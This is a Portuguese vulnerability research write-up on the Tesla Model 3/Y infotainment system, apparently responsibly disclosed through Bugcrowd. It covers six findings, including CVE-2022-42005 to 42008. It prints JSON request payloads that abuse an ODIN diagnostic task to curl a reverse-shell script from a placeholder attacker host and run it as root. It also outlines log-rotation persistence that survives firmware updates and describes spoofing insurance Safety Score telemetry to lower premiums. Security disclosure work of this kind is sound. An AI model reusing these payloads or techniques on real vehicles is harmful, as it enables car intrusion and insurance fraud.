
Pesquisa de vulnerabilidades em sistemas de infoentretenimento Tesla Model 3/Y. 6 vulnerabilidades, 4 CVEs (CVE-2022-42005 a CVE-2022-42008). Shell root, acesso persistente, spoofing de telemetria de seguro.
Pesquisa de vulnerabilidades no sistema de infoentretenimento do Tesla Model 3/Y (Intel Atom MCU, Linux 4.14.235), divulgado de forma responsável à Tesla via Bugcrowd.
Obteve acesso root persistente em um Tesla Model 3 de produção através de uma vulnerabilidade de injeção de comandos na interface de diagnóstico ODIN da Tesla (CVE-2022-42008). A partir daí, descobriu cinco vulnerabilidades adicionais — incluindo um método de persistência que sobrevive a atualizações de firmware (CVE-2022-42005, CVE-2022-42006) e um método para falsificar a telemetria do Safety Score de seguros que reduziu diretamente os prêmios mensais de $130 para $83.
Seis vulnerabilidades em ODIN, hermes e Safety Score. Quatro CVEs. Recompensado via Bugcrowd e inscrito no programa SSH Security Researcher da Tesla.
| Descoberta | CVE | Impacto | Status | Recompensa |
|---|---|---|---|---|
| Shell Root via ODIN | CVE-2022-42008 | Shell root via injeção de comandos | Corrigido (2021.32.10) | Recompensa Bugcrowd |
| Tokens ODIN Expirados | CVE-2022-42007 | Replay de tokens via spoofing NTP | Corrigido (2021.32.10) | Recompensa Bugcrowd |
| Upload para Mothership | — | Upload arbitrário de arquivos para servidores Tesla | Marcado como N/A | — |
| Backshell de Log + Acesso DV | CVE-2022-42005, CVE-2022-42006 | Acesso persistente sobrevivendo a atualizações de firmware | Corrigido | Recompensa Bugcrowd |
| Falsificação de Telemetria de Seguros | — | Safety Score falsificado reduz prêmios de seguro | Nenhuma correção confirmada | — |
| Desfusão ODIN | — | Qualquer tarefa ODIN sem autenticação | Nenhuma correção confirmada | — |
O sistema de infoentretenimento do Tesla Model 3/Y (Intel Atom MCU) executa um SO baseado em Linux com várias superfícies de ataque identificadas durante esta pesquisa:
┌──────────────────────────────────────────────────────────┐
│ Tesla Model 3 MCU (Intel) │
│ │
│ ┌────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ ODIN │ │ QtCarServer │ │ hermes │ │
│ │ │ │ │ │ (proxy+client) │ │
│ │ CVE-42008 │ │ prototype_ │ │ │ │
│ │ (cmd inj) │ │ server │ │ Uploads to │ │
│ │ │ │ CVE-42006 │ │ Mothership │ │
│ │ Report 06 │ │ (data vals) │ │ [Report 03] │ │
│ │ (is-fused │ │ │ │ [Report 05] │ │
│ │ bypass) │ └──────────────┘ └────────┬─────────┘ │
│ └──────┬─────┘ │ │
│ │ ┌──────────────┐ │ │
│ │ │ svlogd │ │ │
│ │ │ Log Rotation │ │ │
│ │ │ CVE-42005 │ │ │
│ │ │ (persistence)│ │ │
│ │ └──────────────┘ │ │
└─────────┼───────────────────────────────────┼────────────┘
│ │
┌─────┴───────┐ ┌───────┴──────────┐
│ Toolbox │ │ Mothership │
│ API │ │ Server │
│ │ │ │
│ CVE-42007 │ │ File uploads │
│ (expired │ │ Telemetry data │
│ tokens) │ │ │
└─────────────┘ └──────────────────┘
Relatórios completos: Shell Root via ODIN | Backshell de Log + Acesso DV
A interface de diagnóstico ODIN expõe uma tarefa chamada TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK que aceita um parâmetro MicTest-Input — uma lista de strings passadas diretamente para CID_EXEC para execução como root. Qualquer assinante com o nível de acesso mais baixo do Toolbox (tbx-external) pode acionar essa tarefa conectando-se à porta de diagnóstico do carro e enviando uma solicitação POST. As strings de entrada são executadas literalmente, portanto o ataque consiste em duas requisições: primeiro, baixar um script de reverse shell para o carro via curl:
{
"args": {
"kw": {
"MicTest-Input": ["curl", "http://<ATTACKER_IP>/shell.sh", "-o", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Em seguida, execute-o:
{
"args": {
"kw": {
"MicTest-Input": ["/bin/sh", "/home/tesla/shell.sh"]
},
"name": "Model3/tasks/TEST_DIGITAL-MICS_X_FUNCTIONAL-CHECK"
},
"command": "execute"
}
Com um shell root estabelecido, o acesso persistente é obtido sequestrando a configuração de rotação de logs do svlogd. O comando de compressão gzip padrão é substituído por um script que abre um backshell sob a conta log cada vez que os logs são rotacionados:
!sh /var/log/wpa_supplicant/gzip.sh -c
O arquivo de configuração é tornado imutável com chattr +i, garantindo que sobreviva a atualizações de firmware. Embora a conta log não possa usar o comando sdv padrão para definir valores de dados (o dbus rejeita), o prototype_server adormecido da Tesla fornece acesso irrestrito via websocket a todos os valores de dados quando ativado através do settings.conf. Um conjunto personalizado de scripts shell (sdv, lv, send.sh) emulam um cliente websocket para interagir com este servidor.
O kit completo de persistência é controlado através da caixa de entrada Access Code do carro (visível ao pressionar longamente o modelo do carro na tela sensível ao toque), que é monitorada por um script listener que despacha comandos — incluindo abertura de backshells, definição de valores de dados e ativação/desativação de modos de serviço.